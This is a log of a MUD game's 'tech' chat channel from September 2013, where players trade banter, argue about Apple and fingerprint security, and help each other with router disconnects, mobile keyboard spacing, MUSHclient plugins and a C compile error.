T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: some people even think fingerprint password is secure!
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: or that apple products are good
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: law isn't developed enough around finger prints for me to do that
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i'll stick with the swipe pattern unlock
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: apple products are good, just overpriced
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: buying apple products is the ethical consumer equivalent of shooting kittens
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Leinei Tech: Cats are a delicacy in some cultures
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: shooting kids?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Turie Tech: I like the song "The Cats in the Kettle"
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why is it unethical to buy apple products?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: slave labour in foreign countries, aggressively anticompetitive patent practices, pays little or no tax hiding it's profits in tax loopholes, aides NSA in illegal spying, and it's trendy...
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: do you think any of those things untrue?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Bast Tech: maybe the trendy part
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: heh, sales and target market would suggest it's true
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I don't care where they make the phones.  It's a global economy and they don't control the business practices of suppliers.  That's the job of the country those suppliers are located in.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and nobody is forcing those laborers to work at gunpoint
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: they prefer working in the factory over prosittution or working a rice paddy all day in the sun
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: someday their government and economy will advance and quality of life will be higher for their children.  but not today.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: some places aren't ready for western liberalism which is they key to quality of life improvements.  going to take generations.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: western liberalism is dead
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: it's been supplanted with corporate fascism
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: to be fair, practically impossible to buy gadgets ethically
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Turie Tech: I have a new iPhone 5S. It is so nice and .....oops....it fell into the toilet......Hey, it is waterproof!
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Turie Tech: Wait....which one is the iPhone and the other is.......
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: well, iphone is one way of the NSA acquiring a large fingerprint database
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: must be saving them a fortune :-)
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: corporate laptops have had fingerprint readers for years
T3/r7/2013-09-23.txt.gz:{chan ch=tech}None the Wyza Tech: and they were super easy to fool too
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: heh, I tried setting it up on my work's lenovo T400, never got enough straight reads out of it.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}None the Wyza Tech: that's why you could fool them
T3/r7/2013-09-23.txt.gz:{chan ch=tech}None the Wyza Tech: cause they were crap
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tigernuts Tech: i'd prefer a solidly made smartphone with no built-in security flaws, without constant tracking, and without built-in redundancy. I'd also want it made in the UK
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Cytan Tech: what do people use for android tablets?  found one specific to aardwolf but the keyboard takes up half of the screen and the font is huge, so can't see what im doing.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Cytan Tech: just need for questing during work, so doesn't need massive options or anything
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Turie Tech: Go into the keyboard settings in the Android settings and make the keyboard smaller.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Cytan Tech: will try that, thanks :)
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Navi Tech: So maybe a dumb question, but is it possible to leave a process running on a linux boot and switch over to a windows boot? Or would switching cause all processes to halt?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: TP bounty for someone that can solve my tech problem
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: Thow it out the window :)
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I have a Win 7 PC, which is wired into a router.  My wife has a Macbook Air, which connects wirelessly.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: to the router
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: my problem is, whenever I create an active connection like opening a website, it disconnects her from the router.  And whenever she does something, it disconnects me.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i think the best way to fix this is to log off and do something else, forever
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I think we pretty much have default network settings
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: Describe router. That is messed up
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: 5 TP to someone that can fix this so we can both be seamlessly on at the same time
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it's a netgear router, maybe a year old
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: do both devices have the same ip address? have you tried just resetting the router?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: Hip shot - you are not set up for DHCP. Router thinks you are same IP address
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: router has wired connection to cable modem
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and if it helps things, I have seen other laptops share the connection seamlessly
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: ensure both devices are set up to use an automatic ip address and not a defined (by you) one
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: Or, conversely, ensure both are set to use non conflicting adresses defined by you
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how do i check these dhcp settings on a macbook air and Win 7?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: no idea on a mac - for win 7 its in the network settings
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I don't think I've ever done something like define IP Addresses.  More of a plug and play guy when it comes to netwoprking
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: Well it is in the network settings for Mac too
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: just humor yourself and do it anyway
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: set them both for DHCP
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: http://windows.microsoft.com/en-us/windows7/change-tcp-ip-settings
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: then login to the router and ensure it is set to provide DHCP.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: DHCP is enabled on the Win 7 PC
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: http://support.apple.com/kb/PH6375
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: DHCP was enabled by default on my Mac (RIP)
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i'm puzzled, i thought this was kojiro's problem?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the MAC says using DHCP
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: describe the physical connection between your router and the router provided by your ISP
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Doc Holliday Tech: Bot!
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: So does router say it is providing DHCP?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oh i forgot, i also have a brother printer wired into the router
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: irrelevant, honestly
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i'm logged into the router now, checking around
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i want to make sure you didn't connect the router from your ISP to the switchboard of your netgear
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: it's unlikely, but possible broadcast storms are knocking you guys off
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: says DHCP Server on
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: my ISP doesn't provide a router, just a cable modem
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: sure, and is that thing wired into your router into the "internet" or similarly labeled port?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yes
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: reset everything, see if it still happens... factory reset your router
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: have done that.  the weird thing is our nanny has a macbook pro and we share fine
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so there is probably something weird with the macbook air.  I know nada about apple products
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: no more likely than your router just sucking, imo
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: I now recall a similar problem that drove me nuts. Checked and rechecked settings, all correct. But I was checking the wired settings. Be absolutely sure you are checking the Mac's wireless settings are set to DHCP. One way to check - try hooking it up wired for a while and see if the problem occurs.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: arnica good idea, but I don't think it has an ethernet port and we don't have whatever BS rip-off proprietary cable apple sells to connect to ethernet
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: Arnica boggles at the idea
T3/r7/2013-09-23.txt.gz:{chan ch=tech}<pretitle> Scars Tech: that felt like gibberish to me
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Arnica Tech: You didn't say what the router model was, did you?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no didn't.  it's a netgear wnr2000v3  I think?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Quadrapus Tech: Any good C++ coders around?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Navi Tech: Is there such thing as a good C++ coder?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Pluto Tech: is there a reason cmud would dc me on a speedwalk? or could it have something to do with my connection?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Runtur Vanion Tech: wifi link ?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: is youfinger cera
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: hahha mis
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Pluto Tech: yeah im wireless
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Runtur Vanion Tech: wifi tends to drop so culd be that
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Pluto Tech: id ethernet in but i dont want to drill through the ceiling:P
T3/r7/2013-09-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: toggling maprun help?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Runtur Vanion Tech: lol i ran a line outside the house :p
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Pluto Tech: ahh thats probably a good idea
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Archerion Tech: hello
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Archerion Tech: good
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: I need help with an issue with the mobile client
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Roidrage Tech: explain the problem
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Roidrage Tech: i got this
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Roidrage Tech: no i dont
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: I have a Sony Xperia, and the problem I'm having is that the teachers in the academy tell me to do something, and then they don't continue the lesson.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: For instance, I was told to drink from the fountain, and the teacher never continued. I typed "next" and she just started that part of the lesson over.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Leinei Tech: silly question, but did you drink from the fountain?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: Yes. A few times.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Leinei Tech: Make sure that your phone isn't putting an extra space on the end, via autocorrect/autocomplete
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: Hmm... That could be the problem. I have to put a space at the end for the word to actually appear in the text box before I hit enter.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: It's just a pain to have to put it there, then erase it every time I want to do something.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: For some of the things in there, it shouldn't matter.  But when they say "please type ... to continue", you generally have to type it exactly like that (and not abbreviate or use extra letters or use alternate commands)
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Mr. Dash Tech: this problem shows up in other places on the mud
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: Even on the computer, I'm guessing?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Mr. Dash Tech: any chance of changing some commands and situations that don't know how to handle a "hanging" space at the end?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Mr. Dash Tech: this came up the other day when a player was trying to change subclass and also instances of players having to do things in the academy
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: assuming it's an actual mud command, there are features implemented (fairly new ones) that can handle any abbreviations and such
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: oh, no idea about actual commands
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: was talking about mprog triggers
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: actual commands that trigger mprogs, that is
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I might recommend trying an alternative keyboard package, if you're comfortable with that.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Using the keyboard package included with Cyanogenmod, I don't have the issues with needing to complete the word to fill in the input field.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Nikora Tech: Can I download one from the app store, or something?
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: Protogynus Robbo nods.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Ranrr Tech: Should be fairly simple for lasher to trim any extra spaces at the end of the command line when parsing, make an idea about it if this is a problem.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Protogynus Robbo Tech: The default keyboard included on my fiancee's Asus Transformer also had the same issues.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: Protogynus Robbo nods at Ranrr.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: I was going to suggest that once, and then came up with some reason why it wouldn't be a good idea
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: which I don't recall
T3/r7/2013-09-23.txt.gz:{chan ch=tech}JailBait Madcatz Tech: Or maybe I did suggest it
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Tech: JailBait Madcatz shrugs helplessly.
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Mr. Dash Tech: it has been a recurring thing for new mobile users. not hugely gamebreaking, but kind of hard for us to diagnose
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Mr. Dash Tech: when you have an extra space using showspell, for example, you can see the reason for the error, but when changing subclass or rebuilding or whatever, the return message for an error isn't helpful in diagnosing the problem
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Sonshi Tech: maybe post to typos whenever one is discovered? At least for the academy...
T3/r7/2013-09-23.txt.gz:{chan ch=tech}Quadrapus Tech: Any C++ gurus around?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Boknix Tech: Anyone know why triggers aren't picking up on MushClient?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: invalid pattern?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: depends on what you are trying to trigger
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Boknix Tech: It's simply "door" and in the send box, "Open n"
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Boknix Tech: Not firing though
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: if you want it to trigger when you type the word door, you should use an alias instead
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Boknix Tech: I kind of assumed it was because Aardwolfs mushclient has so many pluggins and stuff.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Boknix Tech: I want it to trigger when I run into a door
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: in that case you need to account for the variables before and after the word door
T3/r7/2013-09-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: doors wont always be north, if you want to use it with the mapper add it as a cexit
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: so you will need something like *door*
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: where * is a variable
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: and yes, doors aren't always north
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Are you serious?! I thought all doors were north! Now I have to remap everything. *grumble*
T3/r7/2013-09-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: those pesky east doors
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: custom doors are the worst
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Book of Etzli Tech: East doors?! UGH! Next you'll tell me there's west doors and south doors, too. Just as long as there's no up and down doors.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}North Westclox Tech: there's lots of west doors, but no westclox doors, so you're safe
T3/r7/2013-09-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i think i heard a rumor about an up door before
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Tech: Book of Etzli just flipped out and RAGEQUIT. Good riddance.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Rusk Tech: of course not etzli, there are trapdoors though :)
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Cirrus Tech: (that escalated quickly)
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: I'm trying to turn off aard_statmon_gmcp.xml but it keeps popping back up on MUSH restart. Anyone know what is calling it?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Why do you want it off?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: Poor performance... I've run Debug("Summary") and I'm trying to kill the plugins that are causing my machine to lag/freeze
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Weird that the plugin causes you to lag/freeze...
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Book of Etzli Tech: But you could just remove the plugin altogether. Just know a number of scripts probably rely on it, though I could be wrong.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: I have a bunch of freezing issues with MUSH on my laptop and I've found certain plugins are responsible... so I'm disabling what I can and then I'll turn them back on one by one once it's resolved. Anyway... it comes back when I remove it.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Ah... no clue, then... I'm not a MUSH user myself, but I'd search other plugins that call for that plugin.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Nuanse Tech: uninstall plugin, and click disc (save). if you dont save it it comes back on on next restart
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: Thanks Nuanse... slapping myself for missing something so simple =P
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: Basically GMCP handler is taking inordinate amounts of time... might just be my laptop's weak processor. I'm trying to disable most/all plugins that use GMCP to see if it helps.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Redryn Tech: how old is your laptop?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Redryn Tech: i've not really had problems with lagging scripts..
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: not old, it's a Chromebook actually.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: GMCP handler had something like 240 seconds run time in a four-hour span...
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: GMCP Mapper and Statmon were close to that high as well
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: 240 seconds in four hours = average one second a minute lag, but it would come in spurts of 5-15 seconds complete freeze
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Tech: Xarfin: you can't really go by profiled times like that, though, because those plugins are constant rather than "peak"...they're not likely to be your issue
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Tech: I'd suggest downloading a fresh copy of MUSHclient, just copy over your map and the aliases/etc you've created, and run it with no "added" plugins for a bit to see if that lags
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Tech: if it doesn't lag, then it's none of those plugins, but some "aftermarket" one
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: I have zero lag on my desktop, with the exact same profile, so it's hard to say. I've disabled "aftermarket" plugins as well
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: I'm wondering if the problem is some sort of network lag, but it happens in multiple locations/networks... meh.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: Hard to diagnose since it freezes at random times (which which tend to make me thing it's NOT plugin related, hmm)
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: Frustrating to have a 15 second freeze hit while on a GQ or facing a roomful of mobs with AoE
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Nuanse Tech: for me lag was caused by slow usb drive. all the lag went away with simple change of drive..
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: Running on internal SATA3 SSD. No logging just in case =P
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Navi Tech: So I have a line of code, namely char readString[1024], and I'm getting a compile error about making an integer from pointer without cast.. What am I missing?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Navi Tech: In C btw, forgot to mention.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: you mean thath char readstring[1024]
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: you mean thath char readstring[1024]; causes error?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Navi Tech: Yeah, that's the line that the error is coming from.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: are you sure you use C compiler?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Nuanse Tech: java probably
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Navi Tech: Yes, I'm sure I'm using a C compiler.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: char readString[1024]; int main() { return 1; } 
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: this program compiles under gcc without any errors
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Navi Tech: THat compiled for me. :S
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: maybe you try something like this: char readString[1024]; int main() { readString[0] = "h"; return 1; }
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: that would cause such error
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Trachx Tech: while this is ok: char readString[1024]; int main() { readString[0] = 'h'; return 1; }
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Navi Tech: No, there's no strings being put in, only chars.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Luw Tech: Is there a list of available plugins for the Aard Mush Client somewhere that I can browse?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Turie Tech: finger bast
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Luw Tech: Not sure who that is, should I buy them a drink first?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Ruinous Zaiph Tech: You should.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lube would probably be more appreciated
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Luw Tech: I'm a nice guy, I'll swing for both.  Seriously though, are there other plugins that I can use outside of the one that come with the client itself?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: finger bast
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Six-String Strazor Tech: Google helps when searching for plugins.  I've also had some luck at Nick Gammons Forums http://www.gammon.com.au/forum/
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: type finger bast
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Luw Tech: Ah, gotcha.  That clears things up a little bit ...
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Tech: Vorpal Vorpes grins evilly.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Does anyone know if the droid razr will run blowtorch?
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Velian Tech: should... don't see why not, but never tried.
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Thanks.. :)
T3/r7/2013-09-24.txt.gz:{chan ch=tech}Xarfin Tech: For anyone that is curious, I think I solved my AardMUSH lag problems by disabling wireless power saving on my laptop.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: anyone would possibly be on that knows what would cause laptops to slow down? tried restarting, cpu is fine, ram is not even an issue.. currently running a virus scan..
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: and its my sister so dont even suggest stop pr0n :P
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Jaenelle Tech: nothing in the task manager going nom nom nom cpu? (even with 'show processes from all users' checked) ?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: nope, she showed me a small video from her phone, cpu didnt even raise above 25%
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: normal load for my 4core cpu on a desktop as well with a few things running
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Jaenelle Tech: is it slow doing everything? Or just some things?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: mmm, forgot to ask her that, im sleepy
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: I'll see, sec
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A lot of people think closing the laptop and opening it again is turning it off and back on. Try getting her to actually shut it down, it may have been running for weeks.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Imaginary Wissie Tech: defrag? temp files bogging it down? adaware?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: reboot fixed it for now, but
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: I forgot to check temp files too, hah
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: wissie, win7 comp, most automatically defrag nowadays..
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just load up CCleaner, Windows Defender and Malwarebytes, no need to think of anything, just set and forget
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: nods, I'll give her the list, she just asked for antivirus when she asked me
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Imaginary Wissie Tech: yeah i'm old school... back from when you had to remember to defrag 
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Now that people are using SSDs defrag is becoming a bad idea
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: I normally dont have to worry about malware so i didnt have to use malwarebytes
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Everyone has to worry about malware
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: except for linux users :P
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Even linux users
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Frostpaw Tech: mkay :)
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: kali or backtrack distro ftw ?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Xarfin: what OS?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Grissom Tech: mis 2010 i think fiendish
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, it's a chromebook. so I guess that means chrome os.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tormat Tech: I hate SAP tech support...
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: how is it any different to regular support?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tormat Tech: you can not call them, you have to select the correct department code for the support request.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Tech Support is .......
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: I get better tech support on here.
